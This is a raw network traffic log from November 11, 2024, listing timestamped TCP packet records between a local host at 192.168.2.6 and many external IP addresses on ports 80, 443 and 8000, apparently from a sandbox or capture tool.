Nov 11, 2024 18:50:31.640899897 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.658545017 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.658585072 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.658895969 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.659233093 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.659249067 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.120570898 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.120656013 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.124924898 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.124943972 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.125514030 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.125742912 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.127337933 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.160233021 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:50:32.163788080 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:32.171334028 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.587646008 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:32.592751026 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:32.593575954 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:32.616396904 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:32.621494055 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:32.974329948 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974375963 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974412918 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974435091 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974453926 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974464893 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974473953 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974503994 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974503994 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974529982 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974545956 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974559069 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974598885 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974603891 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974783897 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974795103 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974802017 CET	443	49732	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:32.974839926 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.974839926 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.975007057 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:32.975007057 CET	49732	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:33.234577894 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234608889 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234620094 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234632015 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.234662056 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234669924 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.234714031 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.234896898 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234919071 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234930038 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234941006 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.234945059 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.234956980 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.234986067 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.235142946 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.235155106 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.235191107 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.235203981 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.239533901 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.239588976 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.239593029 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.239633083 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.323055029 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323082924 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323093891 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323175907 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.323175907 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.323189020 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323200941 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323259115 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.323348999 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323405027 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.323420048 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323432922 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323472023 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.323591948 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323617935 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.323641062 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.323682070 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.324316025 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:33.324418068 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:33.363195896 CET	49739	80	192.168.2.6	13.248.169.48
Nov 11, 2024 18:50:33.368036985 CET	80	49739	13.248.169.48	192.168.2.6
Nov 11, 2024 18:50:33.368227959 CET	49739	80	192.168.2.6	13.248.169.48
Nov 11, 2024 18:50:33.370172024 CET	49739	80	192.168.2.6	13.248.169.48
Nov 11, 2024 18:50:33.375188112 CET	80	49739	13.248.169.48	192.168.2.6
Nov 11, 2024 18:50:33.695869923 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:33.700702906 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:33.700778961 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:33.700877905 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:33.706566095 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:33.801198959 CET	80	49739	13.248.169.48	192.168.2.6
Nov 11, 2024 18:50:33.801282883 CET	49739	80	192.168.2.6	13.248.169.48
Nov 11, 2024 18:50:33.848460913 CET	49745	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:33.853343010 CET	80	49745	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:33.853420973 CET	49745	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:33.853898048 CET	49745	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:33.858876944 CET	80	49745	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:33.885440111 CET	49746	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:33.890268087 CET	80	49746	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:33.890327930 CET	49746	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:33.890563011 CET	49746	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:33.896156073 CET	80	49746	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:34.292576075 CET	80	49745	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:34.292654037 CET	49745	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:34.294564962 CET	49745	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:34.299833059 CET	80	49745	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:34.299902916 CET	49745	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:34.316792965 CET	80	49746	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:34.316860914 CET	49746	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:34.318566084 CET	49746	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:34.323751926 CET	80	49746	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:34.323842049 CET	49746	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:34.460958004 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.461380005 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.461952925 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.461971998 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.462060928 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.476684093 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.476711988 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.476798058 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.477382898 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.477396011 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.543277025 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:34.548580885 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:34.549500942 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:34.553677082 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:34.558543921 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:34.912132025 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.912503958 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.919389009 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.919409990 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.919791937 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:34.919953108 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.920236111 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:34.963325977 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:35.422513008 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:35.422578096 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:35.427051067 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:35.431988001 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:35.432065964 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:35.432241917 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:35.437155962 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:36.204205990 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:36.204322100 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:36.205785036 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:36.210752964 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:36.286870956 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.286930084 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.286931992 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.286957026 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.286971092 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.286994934 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.287019968 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.287024021 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.287045002 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.287059069 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.287074089 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.287076950 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.287100077 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.287127018 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.288214922 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.288232088 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.288254023 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.288259983 CET	443	49748	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.288269043 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.288302898 CET	49748	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.289581060 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.294531107 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.525111914 CET	80	49753	103.150.10.48	192.168.2.6
Nov 11, 2024 18:50:36.525172949 CET	49753	80	192.168.2.6	103.150.10.48
Nov 11, 2024 18:50:36.545608044 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:36.550551891 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:36.618305922 CET	80	49740	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.618406057 CET	49740	80	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.623980999 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.624033928 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.624094963 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.624342918 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:36.624356031 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:36.811590910 CET	8000	49759	106.15.232.163	192.168.2.6
Nov 11, 2024 18:50:36.811655998 CET	49759	8000	192.168.2.6	106.15.232.163
Nov 11, 2024 18:50:37.057305098 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:37.057393074 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:37.059295893 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:37.059304953 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:37.059552908 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:37.059603930 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:37.060008049 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:37.107337952 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.324146986 CET	80	49733	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:38.324326992 CET	49733	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:38.639225960 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639281988 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639296055 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639332056 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639337063 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639348030 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639372110 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639417887 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639421940 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639458895 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639463902 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639502048 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639664888 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639703035 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639707088 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639746904 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639754057 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639795065 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639825106 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639854908 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.639857054 CET	443	49770	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:38.639899015 CET	49770	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:38.777275085 CET	49786	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:38.782172918 CET	80	49786	64.225.91.73	192.168.2.6
Nov 11, 2024 18:50:38.782233953 CET	49786	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:38.782397985 CET	49786	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:38.787197113 CET	80	49786	64.225.91.73	192.168.2.6
Nov 11, 2024 18:50:38.798789024 CET	49787	80	192.168.2.6	76.223.67.189
Nov 11, 2024 18:50:38.803757906 CET	80	49787	76.223.67.189	192.168.2.6
Nov 11, 2024 18:50:38.803863049 CET	49787	80	192.168.2.6	76.223.67.189
Nov 11, 2024 18:50:38.804157019 CET	49787	80	192.168.2.6	76.223.67.189
Nov 11, 2024 18:50:38.809003115 CET	80	49787	76.223.67.189	192.168.2.6
Nov 11, 2024 18:50:39.022906065 CET	49793	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:39.027847052 CET	80	49793	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:39.027919054 CET	49793	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:39.028064966 CET	49793	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:39.032830954 CET	80	49793	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:39.086862087 CET	49794	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:39.091824055 CET	80	49794	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:39.091931105 CET	49794	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:39.092050076 CET	49794	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:39.096865892 CET	80	49794	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:39.115353107 CET	80	49723	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:39.115405083 CET	49723	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:39.138246059 CET	49795	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:39.143143892 CET	80	49795	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:39.143215895 CET	49795	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:39.146969080 CET	49795	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:39.151823997 CET	80	49795	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:39.231462002 CET	80	49787	76.223.67.189	192.168.2.6
Nov 11, 2024 18:50:39.231729031 CET	49787	80	192.168.2.6	76.223.67.189
Nov 11, 2024 18:50:39.256274939 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:39.261425972 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:39.261574984 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:39.266263962 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:39.271975040 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:39.332880020 CET	80	49786	64.225.91.73	192.168.2.6
Nov 11, 2024 18:50:39.333074093 CET	49786	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:39.457639933 CET	80	49793	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:39.459120035 CET	49793	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:39.460990906 CET	49793	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:39.465260029 CET	80	49793	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:39.465325117 CET	49793	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:39.465801954 CET	80	49793	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:39.661348104 CET	80	49794	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:39.661493063 CET	49794	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:39.664203882 CET	49794	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:39.670335054 CET	80	49794	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:39.670478106 CET	49794	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:39.707452059 CET	80	49795	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:39.707540989 CET	49795	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:39.710895061 CET	49795	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:39.716327906 CET	80	49795	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:39.716418982 CET	49795	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:40.038372040 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.043268919 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.043607950 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.043607950 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.048470974 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.071571112 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:40.071995020 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:40.077390909 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:40.082288027 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:40.253906965 CET	49808	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:40.258992910 CET	80	49808	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:40.259192944 CET	49808	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:40.259344101 CET	49808	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:40.264197111 CET	80	49808	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:40.396037102 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:40.396287918 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:40.681955099 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.681972980 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682041883 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.682041883 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.682085037 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682096958 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682110071 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682142019 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.682142019 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.682252884 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682265043 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682277918 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682288885 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682311058 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.682343960 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.682368040 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.682455063 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.685638905 CET	80	49808	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:40.685782909 CET	49808	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:40.685791016 CET	80	49808	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:40.686080933 CET	49808	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:40.687674046 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.687766075 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.687792063 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.687830925 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.770411968 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.770477057 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.770545959 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.770558119 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.770623922 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.770700932 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.770770073 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.770849943 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.770941019 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.771421909 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.771433115 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.771444082 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.771493912 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.771518946 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.771573067 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.771584034 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.771589994 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.771660089 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.771660089 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:40.772562981 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:40.772891998 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:41.508218050 CET	49821	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:41.513077021 CET	80	49821	64.225.91.73	192.168.2.6
Nov 11, 2024 18:50:41.513156891 CET	49821	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:41.513499022 CET	49821	80	192.168.2.6	64.225.91.73
Nov 11, 2024 18:50:41.518506050 CET	80	49821	64.225.91.73	192.168.2.6
Nov 11, 2024 18:50:41.708358049 CET	49822	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:41.714518070 CET	80	49822	72.52.179.174	192.168.2.6
Nov 11, 2024 18:50:41.714674950 CET	49822	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:41.718429089 CET	49822	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:50:41.724016905 CET	80	49822	72.52.179.174	192.168.2.6
